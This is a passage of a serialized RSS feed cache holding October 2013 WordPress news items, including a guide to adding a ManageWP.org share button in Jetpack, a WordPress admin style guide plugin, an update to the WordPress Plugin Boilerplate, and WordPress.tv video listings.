instructions.&lt;/p&gt;\n&lt;p&gt;Browse to the sharing module in Jetpack and click the &lt;em&gt;add new service&lt;/em&gt; link under available services.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;For service name enter &lt;strong&gt;ManageWP.org&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;Sharing URL: &lt;strong&gt;http://managewp.org/share/form?url=%post_url%&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;Icon URL: &lt;strong&gt;http://managewp.org/icon.png&lt;/strong&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Then click on the create share button. This is where it becomes confusing. After clicking the create share button, you&amp;#8217;ll see a spinning circle indicating that something is happening. When it stops, the add new service pop-up stays on the screen. This gives the appearance that it is broken or something is hanging, preventing the button from being created. In my experience, I closed the pop-up window and when I tried to add the new service again, the fields were filled with the data I supplied earlier but the create share button was stuck in the pressed position. However, when I refreshed the sharing button admin page, the ManageWP button showed up. I hope you have a smoother experience when creating the button.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ManageWPAddingANewService.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img class=\&quot;aligncenter size-large wp-image-10621\&quot; alt=\&quot;Adding New Service In Jetpack\&quot; src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ManageWPAddingANewService.jpg?resize=500%2C347\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Once the button is created, just drag it to the enabled services section and arrange it to your liking. When a visitor clicks on the button and that article has not yet been submitted to the site, that visitor will be asked to log-in if they don&amp;#8217;t have an account or are logged out. Next, the user will be presented with a screen to share the article. If the article has already been submitted, they will be taken to the article on ManageWP.org where they can upvote it. A little known feature with this button is that the submitter also has the ability to supply an editorial comment which is viewed when visitors hover over the article title on ManageWP.org.&lt;/p&gt;\n&lt;h3&gt;Why Adding The Button Is Important&lt;/h3&gt;\n&lt;p&gt;Adding a ManageWP button to your site makes it easy for visitors to share and vote articles. It also helps them generate traffic, which helps other articles submitted on the site. I&amp;#8217;ve been using ManageWP.org since its launch and have found myself browsing around discovering different articles and providing a number of upvotes. The one thing I&amp;#8217;ve discovered is that an article with a high number of upvotes on the front page does not mean it&amp;#8217;s the freshest article. I&amp;#8217;ve seen a few articles published months ago that are showing up on the front page with over 20 upvotes. So keep that in mind when browsing the site.&lt;/p&gt;\n&lt;p&gt;I&amp;#8217;m interested in hearing from other WordPress content centric website owners. Has your traffic levels been any higher since the launch of ManageWP.org?&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/kG3zYYYBhm4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 18:30:58 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:34;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;WPTavern: WordPress Style Guide: A Reference For Admin UI Components\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10604\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:119:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/so0jFriSR-M/wordpress-style-guide-a-reference-for-admin-ui-components\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2670:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/style-guide.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/style-guide.jpg?resize=300%2C249\&quot; alt=\&quot;style-guide\&quot; class=\&quot;alignright size-medium wp-image-10613\&quot; /&gt;&lt;/a&gt;WordPress is getting its own style guide. &lt;a href=\&quot;https://twitter.com/helenhousandi\&quot; target=\&quot;_blank\&quot;&gt;Helen Hou-Sandí&lt;/a&gt; is working on a new plugin called &lt;a href=\&quot;https://github.com/helenhousandi/wp-style-guide\&quot; title=\&quot;WordPress Style Guide\&quot; target=\&quot;_blank\&quot;&gt;WordPress Style Guide&lt;/a&gt; to serve as a reference for building WordPress admin UI components. This is very much a work in progress and its purpose will evolve, as Helen notes on the plugin&amp;#8217;s github page: &amp;#8220;This plugin is not planned to be distributed through the WordPress.org repository, as its anticipated final form will take over a site completely.&amp;#8221; The end result will be a guide similar to what you see with front end development frameworks such as Twitter Bootstrap or Zurb Foundation.&lt;span id=\&quot;more-10604\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;So far the plugin includes three sections: &lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;jQuery UI Components&lt;/li&gt;\n&lt;li&gt;Forms&lt;/li&gt;\n&lt;li&gt;Helper Classes&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;These appear in the form of HTML pages within the admin and contain a few rough style examples:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/color-helper-classes.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/color-helper-classes.jpg?resize=560%2C358\&quot; alt=\&quot;color-helper-classes\&quot; class=\&quot;aligncenter size-full wp-image-10616\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;This style guide has the potential to greatly improve the way plugin and theme developers create UI components that fit into the WordPress admin. It will also help to speed up that process when developers can quickly get the appropriate styles from the reference. &lt;/p&gt;\n&lt;p&gt;Custom admin UI done wrong can be a scary thing. How many times have you seen a plugin with visually jarring alerts and mismatched styles in the admin? That Sore Thumb plugin is a hazard to the eyes. If only there was a guide to help put them on the right path. That&amp;#8217;s where this project can benefit the community.&lt;/p&gt;\n&lt;p&gt;Contribution to the &lt;a href=\&quot;https://github.com/helenhousandi/wp-style-guide\&quot; target=\&quot;_blank\&quot;&gt;WordPress Style Guide&lt;/a&gt; is open to all. If you&amp;#8217;d like to help build it, feel free to send a pull request and/or leave feedback in the &lt;a href=\&quot;https://github.com/helenhousandi/wp-style-guide/issues\&quot; target=\&quot;_blank\&quot;&gt;issues&lt;/a&gt; queue. &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/so0jFriSR-M\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 17:42:55 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:35;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:69:\&quot;WordPress.tv: Kane Jamison: 30 Ways to Move Beyond Basic Blog Content\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24403\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:86:\&quot;http://wordpress.tv/2013/10/29/kane-jamison-30-ways-to-move-beyond-basic-blog-content/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:687:\&quot;&lt;div id=\&quot;v-T7Q0BhGt-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24403/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24403/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24403&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/29/kane-jamison-30-ways-to-move-beyond-basic-blog-content/\&quot;&gt;&lt;img alt=\&quot;Kane Jamison: 30 Ways to Move Beyond Basic Blog Content\&quot; src=\&quot;http://videos.videopress.com/T7Q0BhGt/video-db37241b20_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 15:15:30 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:36;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;WordPress.tv: Steve Zussino: How To Optimize Your Blog For Mobile Traffic\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24405\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:90:\&quot;http://wordpress.tv/2013/10/29/steve-zussino-how-to-optimize-your-blog-for-mobile-traffic/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:695:\&quot;&lt;div id=\&quot;v-fPEjlXyV-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24405/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24405/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24405&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/29/steve-zussino-how-to-optimize-your-blog-for-mobile-traffic/\&quot;&gt;&lt;img alt=\&quot;Steve Zussino: How To Optimize Your Blog For Mobile Traffic\&quot; src=\&quot;http://videos.videopress.com/fPEjlXyV/video-5e23b08fa8_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 14:56:01 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:37;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;WPTavern: Major Update Coming to the WordPress Plugin Boilerplate\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10542\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:117:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/6panc40_WvQ/major-update-coming-to-the-wordpress-plugin-boilerplate\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5211:\&quot;&lt;p&gt;When &lt;a title=\&quot;Tom McFarlin\&quot; href=\&quot;http://tommcfarlin.com/\&quot; target=\&quot;_blank\&quot;&gt;Tom McFarlin&lt;/a&gt; released his &lt;a title=\&quot;WordPress Plugin Boilerplate\&quot; href=\&quot;https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate\&quot; target=\&quot;_blank\&quot;&gt;WordPress Plugin Boilerplate&lt;/a&gt; on github last November, he has no idea how many developers would jump on board to contribute to this open source learning resource. The plugin has received a ton of support from the community, including commits from more than 26 &lt;a href=\&quot;https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/graphs/contributors\&quot; target=\&quot;_blank\&quot;&gt;contributors&lt;/a&gt;. McFarlin will soon be putting out a major release that will make the boilerplate better than ever.&lt;span id=\&quot;more-10542\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;An Introduction to the WordPress Plugin Boilerplate&lt;/h3&gt;\n&lt;div id=\&quot;attachment_10583\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/medium_59044456.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img class=\&quot;size-full wp-image-10583\&quot; alt=\&quot;photo credit: Mr. Greenjeans via photopin cc\&quot; src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/medium_59044456.jpg?resize=560%2C420\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;photo credit: &lt;a href=\&quot;http://www.flickr.com/photos/gaylon/59044456/\&quot;&gt;Mr. Greenjeans&lt;/a&gt; via &lt;a href=\&quot;http://photopin.com\&quot;&gt;photopin&lt;/a&gt; &lt;a href=\&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/\&quot;&gt;cc&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The plugin boilerplate provides the foundation for building a WordPress plugin. Based on the &lt;a href=\&quot;http://feeds2.feedburner.com/WordPress Plugin API.\&quot; target=\&quot;_blank\&quot;&gt;WordPress Plugin API&lt;/a&gt;, it provides example values for a basic plugin, so you can learn how to structure your own. All the basics are nicely documented within the plugin using &lt;a href=\&quot;http://en.wikipedia.org/wiki/PHPDoc\&quot; target=\&quot;_blank\&quot;&gt;PHPDoc&lt;/a&gt; conventions.&lt;/p&gt;\n&lt;h4&gt;File organization matters.&lt;/h4&gt;\n&lt;p&gt;Sometimes you find WordPress plugins with files scattered all over throughout random directories with no rhyme or reason. The &lt;a href=\&quot;https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate\&quot; target=\&quot;_blank\&quot;&gt;WordPress Plugin Boilerplate&lt;/a&gt; provides a standardized directory structure for maintaining your plugin&amp;#8217;s assets.&lt;/p&gt;\n&lt;p&gt;Here&amp;#8217;s just a quick sampling of what you can learn from starting with the boilerplate:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Register and enqueue public-facing JavaScript files&lt;/li&gt;\n&lt;li&gt;Create a .pot as a starting translation file&lt;/li&gt;\n&lt;li&gt;Make your plugin network-aware and compatible with WordPress multisite&lt;/li&gt;\n&lt;li&gt;Register and enqueue admin-specific JavaScript and stylesheets&lt;/li&gt;\n&lt;li&gt;Provide updates to your WordPress plugin from GitHub&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;All of the above and so much more is documented inside the plugin boilerplate with links to where you can find more information. This is a very valuable resource for anyone who wants to get started with best practices in developing WordPress plugins.&lt;/p&gt;\n&lt;h3&gt;WordPress Plugin Boilerplate 2.8.0 Will Be a Major Update&lt;/h3&gt;\n&lt;p&gt;Many developers have been eager to contribute to the project and McFarlin announced that a &lt;a href=\&quot;http://tommcfarlin.com/preparing-wordpress-plugin-boilerplate-2-8-0/\&quot; target=\&quot;_blank\&quot;&gt;major release&lt;/a&gt; of the accumulated community efforts is coming soon. Highlighted additions to this release include:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Added an admin class&lt;/li&gt;\n&lt;li&gt;Defining a section to provide links for recommended tools&lt;/li&gt;\n&lt;li&gt;Adding a ‘GitHub Plugin URI’ to the wordpress-plugin header&lt;/li&gt;\n&lt;li&gt;Fix loading textdomain when the plugin is symlinked&lt;/li&gt;\n&lt;li&gt;Added multisite activation/deactivation functionality.&lt;/li&gt;\n&lt;li&gt;Added empty array for dependency to fix version number.&lt;/li&gt;\n&lt;li&gt;Removing a lot of whitespace, updating function comments, and comment blocks within a function, and making sure no comments exceed 80 characters&lt;/li&gt;\n&lt;li&gt;Adding a ‘TODO’ so users can more easily find where all they need to supply the name of their plugin&lt;/li&gt;\n&lt;li&gt;And &lt;a href=\&quot;https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/blob/master/ChangeLog.md\&quot; target=\&quot;_blank\&quot;&gt;much more&lt;/a&gt;&amp;#8230;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h3&gt;How Developers Can Help&lt;/h3&gt;\n&lt;p&gt;McFarlin has a number of outstanding issues and discussions that he&amp;#8217;d like to address before pushing out the next release. These include questions such as whether or not to move class files to their own subdirectory, the possibility of moving the assets directory, and more. If you can lend any wisdom on &lt;a href=\&quot;https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/issues?direction=desc&amp;sort=created&amp;state=open\&quot; target=\&quot;_blank\&quot;&gt;these issues&lt;/a&gt;, you&amp;#8217;re invited to comment on McFarlin&amp;#8217;s &lt;a href=\&quot;http://tommcfarlin.com/preparing-wordpress-plugin-boilerplate-2-8-0/\&quot; target=\&quot;_blank\&quot;&gt;post&lt;/a&gt;, issue a pull request or get in touch with him on &lt;a href=\&quot;https://twitter.com/tommcfarlin\&quot; target=\&quot;_blank\&quot;&gt;Twitter&lt;/a&gt;. This is a community effort that can only help to raise the standards for WordPress plugin development.&lt;/p&gt;\n&lt;p&gt;Have any of you used this boilerplate to get started building plugins? Is there anything you would change about how it is structured?&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/6panc40_WvQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 22:18:36 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:38;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:63:\&quot;WPTavern: How to Install WordPress Plugins Directly From Github\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10037\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:115:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/tRC1n_fg3jk/how-to-install-wordpress-plugins-directly-from-github\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6687:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/github-logo.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/github-logo.png?resize=300%2C118\&quot; alt=\&quot;github-logo\&quot; class=\&quot;alignright size-medium wp-image-10534\&quot; /&gt;&lt;/a&gt;It&amp;#8217;s amazing how much WordPress code is available on &lt;a 